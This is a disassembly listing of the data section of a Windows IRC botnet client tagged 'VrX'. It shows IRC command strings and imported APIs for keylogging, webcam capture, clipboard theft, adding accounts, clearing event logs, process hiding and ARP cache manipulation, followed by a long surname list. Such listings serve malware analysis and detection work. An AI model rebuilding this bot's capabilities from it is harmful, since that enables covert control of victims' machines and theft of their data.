aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
